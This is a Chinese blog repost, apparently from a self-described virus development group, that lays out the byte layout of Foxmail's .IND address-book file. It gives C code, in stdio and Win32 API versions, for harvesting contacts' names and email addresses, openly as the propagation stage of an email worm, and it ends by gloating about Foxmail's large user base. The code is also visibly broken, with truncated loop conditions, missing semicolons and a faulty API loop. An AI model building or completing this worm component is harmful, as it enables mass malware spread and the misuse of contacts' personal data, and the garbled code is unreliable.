龙盟编程博客 | 无障碍搜索 | 云盘搜索神器
快速搜索
主页 > 软件开发 > C/C++开发 >

用Foxmail的地址传播病毒

时间:2009-12-22 15:42来源:未知 作者:admin 点击:
分享到:
来源:苏睿暄病毒研发小组 用FoxMail的地址传播病毒 {注:看了whaoye的《浅谈用Delphi写蠕虫病毒》后...} foxmail的地址存在.IND里,用16进制的编辑器打开该文档会发现 :: 文件头的范围为

  来源:苏睿暄病毒研发小组

  

  

用FoxMail的地址传播病毒

  

{注:看了whaoye的《浅谈用Delphi写蠕虫病毒》后...}

  

  

foxmail的地址存在.IND里,用16进制的编辑器打开该文档会发现

  

::

  

文件头的范围为00H-39H,共64个字节。

  

05H保存纪录的个数,12H-21H记录地址薄名称。

  

记录部分40H开始是第一条记录,每条记录长B0H

  

每条记录的00H是记录号,04H是删除标记,该字节为1表明此记录被用户删除

  

11H是组记录,该字节为1表明此记录为一条组记录;

  

12H是名称的长度,最大为20H;

  

13H-32H是名称内容,33H是邮件地址长度,最大为40H,34H-73H是邮件地址内容。。。

  

下面我们写一段代码用于从.IND文件中将地址提出来,然后...(看你的想象力了,whaoye

  

已经将发送方面写的很清楚了,不用我再重复了)

  

我用C写的代码,delphi下的代码是不同的,大家可以自行更改...

  

(我没用API,原因是我用api写的在测试时,除了几次错误,以后有时间,一定补上)

  

file*fp_addr

  

char*srcname

  

char headbuf[0x41],recbuf[0xb1]

  

int i;

  

if(fp_addr=fopen(srcname,"rb"))==null)

  

{exit(-1)}

  

fseek(fp_addr,0x40,seek_set)

  

while(!feof(fp_addr))

  

{

  

char name[0x21],email[0x41]

  

for(i=0;i<0x21;i++)

  

name[i]='\0'

  

for(i=0;i<0x41;i++)

  

email[i]='\0'

  

fread(recbuf,1,0xb0,fp_addr)

  

if(recbuf[0x4]==1)

  

{continue;}

  

if(recbuf[0x11]==1)

  

{continue;}

  

for(i=0;i

  

{

  

if(recbuf[i+0x13]==0)break

  

name[i]=recbuf[i+0x13]

  

}

  

for(i=0;i

  

{

  

if(recbuf[i+0x34]==0)break

  

email[i]=recbuf[i+0x34]

  

}

  

/*此处添加处理name(收件人名),email(收件人地址)的程序*/

  

}

  

fclose(fp_addr)

  

好了,既然有了读取foxmail中地址的方法,再利用搜索方法找出所有的.IND文件,

  

参照whaoye的文章就可以写出...

  

  

{后记::foxmail在中国的用户量是很多的,假如利用这种方法写出病毒来...hahaha}

  

{补记::

  

API方法

  

handle fp_addr

  

char*srcname

  

DWord dwVes

  

char headbuf[0x41],recbuf[0xb1]

  

int i;

  

if(fp_addr=CreateFile(srcname,GENRIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0))==INVALID_HANDLE_VALUE)

  

{RETURN -1}

  

SetFilePointer(fp_addr,0x40,0,File_Begin)

  

while(!GetFilePointer(fp_addr))

  

{

  

char name[0x21],email[0x41]

  

for(i=0;i<0x21;i++)

  

name[i]='\0'

  

for(i=0;i<0x41;i++)

  

email[i]='\0'

  

ReadFile(fp_addr,recbuf,0xb0,&dwVes,0)

  

if(recbuf[0x4]==1)

  

{continue;}

  

if(recbuf[0x11]==1)

  

{continue;}

  

for(i=0;i

  

{

  

  

if(recbuf[i+0x13]==0)break

  

name[i]=recbuf[i+0x13]

  

}

  

for(i=0;i

  

{

  

if(recbuf[i+0x34]==0)break

  

email[i]=recbuf[i+0x34]

  

}

  

//此处添加处理name(收件人名),email(收件人地址)的程序

  

}

  

CloseHandle(fp_addr)

  

精彩图集

赞助商链接